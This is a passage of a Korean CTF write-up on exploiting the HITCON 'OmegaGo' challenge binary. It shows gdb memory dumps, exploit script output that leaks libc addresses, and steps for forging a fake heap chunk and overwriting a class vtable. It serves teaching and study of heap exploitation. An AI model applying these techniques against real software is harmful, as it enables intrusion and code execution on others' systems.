...
| Code Block |
|---|
lazenca0x0@ubuntu:~$ gdb -p 4425 gdb-peda$ x/4gx 0x609FC0 0x609fc0: 0x0000000001c88e30 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 gdb-peda$ b *0x4015CE Breakpoint 1 at 0x4015ce gdb-peda$ c Continuing. Input "D19" gdb-peda$ x/4gx 0x609FC0 0x609fc0: 0x0000000001c88eb0 0x0000000001c88ef0 0x609fd0: 0x0000000001c88fb0 0x0000000000000000 gdb-peda$ p/x 0x1c88e30 + 0x80 $1 = 0x1c88eb0 gdb-peda$ |
...
- 다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.
- 해당 바이너리의 취약성을 이용해 0x00에 Heap address를 저장한 후 Fake chunk를 가리키도록 해야 합니다.
| Panel | ||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
- 아래 스크립트를 이용해 Fake chunk의 기본 모형을 만들수 있습니다.
| Code Block |
|---|
- 다음과 같이 Fake chunk를 확인 할 수 있습니다.
| Code Block | ||
|---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py
[!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 5414
[*] Libc Address : 0x7fe144078b78
[*] Libc Base Address : 0x7fe143cba3c0
[*] execve bash Address : 0x7fe143da0a7d
[*] Switching to interactive mode
ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...X...............
13 ...................
12 .O.................
11 XXXXXXXXXXXXXXXXXXX
10 .........O.........
9 OOOOOOOOOOOOOOOOOOO
8 .................X.
7 ...................
6 ...............O...
5 ...................
4 ...................
3 ...................
2 ...................
1 ...................
Time remain: O: 180.00, X: 179.85
$ |
| Code Block |
|---|
lazenca0x0@ubuntu:~$ gdb -q -p 5414
Attaching to process 5414
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
gdb-peda$ x/20gx 0x609FC0
0x609fc0: 0x0000000000000000 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000020
0x609fe0: 0xaaaa000000001000 0x50000100002aaaaa
0x609ff0: 0x0000000155555555 0x0000000000000020
0x60a000: 0x0000000000001000 0x0000000000000000
0x60a010: 0x0000000000000000 0x0000000000000000
0x60a020: 0x0000000100000007 0x500001000000004f
0x60a030: 0x40667fecbd987c61 0x40667b28a82a5614
0x60a040: 0x0000000000000000 0x0000000000000000
0x60a050: 0x0000000000000000 0x0000000000000000
gdb-peda$ |
- 다음과 같은 방법으로 gameInfo에 overwrite된 주소값을 0x00의 위치로 변경할 수 있습니다.
- "surrender" 명령어를 3번 실행합니다.
- Overflow를 통해 gameInfo.board[0]영역에 저장되는 값이 0x*****410으로 끝나는 값이 되도록하기 위해서입니다.
Fake chunk 좌표값(D14, R8)을 입력합니다.
- gameInfo.board[0]에 저장된 값 0x*****410을 x*****550 으로 변경합니다.
- 이는 앞에서 설명한 "Fake chunk 구조" 에서 0x00 위치를 가리키도록 하는 것입니다.
- 좌표값 'P1', '01'
- "surrender" 명령어를 실행합니다.
- "surrender" 명령어를 3번 실행합니다.
- 디버깅을 통해 확인해 보겠습니다.
- D14, R8을 입력해 gameInfo.board[3], gameInfo.board[7]영역에 Fake chunk(0x20)을 저장합니다.
- gameInfo.board[0]영역에 주소값이 overwrite될 때 까지 게임을 Play 합니다.
- gameInfo.board[0]영역에 0x0707410 저장됬으며, P1, O1을 입력해 0x0707410 을 0x0707550으로 변경합니다.
- 그리고 "surrender" 명령어를 실행 후, Computer class의 vtable를 저장할 heap영역으로 0x0707550 영역이 할당됩니다.
- Computer class 영역에 원하는 주소 영역을 저장하였습니다.
- 이로 인해 0x0707550을 공격자가 원하는 값으로 덮어쓸수 있게 되었습니다.
- History[] 배열에 저장되는 Play 정보를 저장하는 Heap 영역을 메모리 0x0707550 보다 낮은 주소에서 부터 Heap 공간을 할당합니다.
...